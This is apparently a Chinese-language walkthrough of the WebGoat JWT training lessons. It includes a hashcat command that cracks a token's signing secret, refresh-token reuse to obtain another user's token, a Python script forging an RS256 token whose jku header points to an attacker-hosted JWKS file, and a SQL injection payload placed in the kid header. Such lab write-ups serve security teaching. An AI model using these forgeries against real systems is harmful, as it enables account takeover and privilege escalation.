JWT tokens

要求使用admin的身份重置投票


使用库需要知道区别,注意安全问题


hashcat爆破

hashcat -m 16500 -a 0 "eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc2ODc5MzQ0NiwiZXhwIjoxNzY4NzkzNTA2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.MLzT-gqBUZB8YgtGBLSNYYy4fHqQcm5tIFZ9MTefXFE" /usr/share/wordlists/rockyou.txt.gz

...
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc2ODc5MzQ0NiwiZXhwIjoxNzY4NzkzNTA2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.MLzT-gqBUZB8YgtGBLSNYYy4fHqQcm5tIFZ9MTefXFE:business
...


进入页面得到Jerry的用户和密码,和"refresh_token" : "hBAkHBkBDUjZFFSwNZST"(这里refresh_token在获得新的access_token后就失效了)

根据提示:要使用Jerryrefresh_token用于生成Tomaccess_token

使用日志中Tom旧的access_tokenJerryrefresh_token,得到新的Tomaccess_token


攻击思路:自己提供签名并将jwks服务替换成自己的

首先生成公私钥对:

openssl genrsa -out jwt_rsa.key 2048
openssl rsa -in jwt_rsa.key -pubout -out jwt_rsa.pub

生成jwt的签名代码如下:

import jwt, time

private_key = open("jwt_rsa.key", "rb").read()

now = int(time.time())
payload = {
  "Email" : "tom@webgoat.com",
  "Role" : [ "Cat" ],
  "aud" : "webgoat.org",
  "iat": now,
  "exp": now + 3600,
  "iss" : "WebGoat Token Builder",
  "sub" : "tom@webgoat.com",
  "username" : "Tom"
}

headers = {
    "typ": "JWT",
    "alg": "RS256",
    "jku": "http://xxx:12345/jwks.json"
}

token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print(token)

# python jwt_gen.py
# eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly82Ny4yMzAuMTg4LjIyNjoxMjM0NS9qd2tzLmpzb24iLCJ0eXAiOiJKV1QifQ.eyJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il0sImF1ZCI6IndlYmdvYXQub3JnIiwiaWF0IjoxNzY4ODA3NDUxLCJleHAiOjE3Njg4MTEwNTEsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsInN1YiI6InRvbUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIn0.GpTT8-9wKNLeEGyOvWUJfqztLxEnMQCY3rcRCSIGWWj28iabQUBqJ_bDXHAGncKAsWKzXmM-umf9GZ7e_4Lv50AKDf6x6IwwfSDVNpcZkMirQ4Bp3XiNVsR5ukcde8zlRlGcoqwuIaKBEa3bi3JYw8gz5W__L59UbQiguXe2SpUomP5i2lTWdpNwr1IKzbsvd_Zfx_2cZdWSDpGvpa-XfTL4ocvtKaL53BX9C2N_YkGPeKJmFGSpN4y6vgAvAcoa9mXsCSRG7rVandAOYE7miSjoCJrWumpq3k6xDOBLxqlkJyv2pwRR1iBGeqhIlnJswm3wUDRfnIkGg1abNGENPQ

提取n,然后base64url编码

jwks文件格式如下:

{
  "keys": [
    {
      "alg": "RS256",
      "e": "AQAB",
      "n": "rVbPLWNqjR3vXLXVOVYZXp524qzZk-nMWLEA9lzajdIoWhqstnpy55j652rwKCbJZx7z4b8AE6yFuDje1YHQJCW5qEMcqeF6J9BN1t_QH8ynMk4BB_UAVAkUgRCua-TSYeBYxxrGNzR1wN4XxODeIlbCNyaVtovjWGwvzVJ-IZMscuR-BBHAaDiTVothnM5eNtmeB-A10nycDjm5-tPr7XdN9-LC42o3BdWEZuKfNDf2Hwg8JOzIdqCQH5uIyCM_bSydfsaiSdYzBOWvLw5Nkbzmv2lJ_OrKZkQbyIKDmhPIcEVK7IoDySWACsh1cofL3yGzn_GxmMuG3-M6k9MWEw",
      "kid": "70e0ed3c",
      "kty": "RSA",
      "use": "sig"
    }
  ]
}

相较于base64 ,base64url的替换规则是:

  • +-
  • /_
  • 末尾的 = 去掉

import jwt, time

now = int(time.time())
payload = {
  "Email" : "tom@webgoat.com",
  "Role" : [ "Cat" ],
  "aud" : "webgoat.org",
  "iat": now,
  "exp": now + 3600,
  "iss" : "WebGoat Token Builder",
  "sub" : "tom@webgoat.com",
  "username" : "Tom"
}

headers = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": "' union select 'MTIzNDU2' from jwt_keys -- "
}

# base64(123456)=MTIzNDU2
token = jwt.encode(payload, '123456', algorithm="HS256", headers=headers)
print(token)